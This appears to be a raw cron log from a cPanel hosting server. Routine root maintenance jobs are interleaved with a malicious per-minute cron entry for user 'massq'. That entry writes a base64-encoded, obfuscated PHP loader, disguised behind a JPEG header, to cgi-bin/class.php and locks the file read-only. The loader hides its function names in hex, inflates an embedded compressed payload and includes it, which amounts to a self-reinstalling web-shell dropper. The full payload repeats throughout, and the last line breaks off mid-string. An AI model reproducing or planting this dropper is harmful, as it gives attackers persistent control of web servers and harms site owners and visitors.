Aug 31 05:50:01 server CROND[6788]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:50:01 server CROND[6790]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 05:50:01 server CROND[6799]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 05:50:01 server CROND[6801]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 05:50:01 server CROND[6796]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 05:51:01 server CROND[7644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:51:01 server CROND[7645]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:51:01 server CROND[7646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:52:01 server CROND[8035]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Aug 31 05:52:01 server CROND[8037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:52:01 server CROND[8038]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:52:01 server CROND[8036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:53:01 server CROND[8520]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:53:01 server CROND[8521]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:53:01 server CROND[8522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:54:01 server CROND[8985]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:54:01 server CROND[8984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:54:01 server CROND[8986]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:55:01 server CROND[9369]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 05:55:01 server CROND[9371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:55:01 server CROND[9372]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 05:55:01 server CROND[9377]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:55:01 server CROND[9374]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 05:55:01 server CROND[9380]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 05:55:01 server CROND[9376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:56:01 server CROND[10202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:56:01 server CROND[10203]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:56:01 server CROND[10204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:57:01 server CROND[10579]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:57:01 server CROND[10580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:57:01 server CROND[10582]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 05:57:01 server CROND[10581]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:58:01 server CROND[10952]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:58:01 server CROND[10953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:58:01 server CROND[10954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:59:01 server CROND[11327]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:59:01 server CROND[11328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:59:01 server CROND[11329]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:00:01 server CROND[11823]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 06:00:01 server CROND[11825]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 06:00:01 server CROND[11827]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 06:00:01 server CROND[11830]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 31 06:00:01 server CROND[11832]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 31 06:00:01 server CROND[11833]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 06:00:01 server CROND[11831]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 06:00:01 server CROND[11828]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Aug 31 06:00:01 server CROND[11835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:00:01 server CROND[11834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:00:01 server CROND[11829]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:01:01 server CROND[12741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:01:01 server CROND[12742]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:01:01 server CROND[12743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SS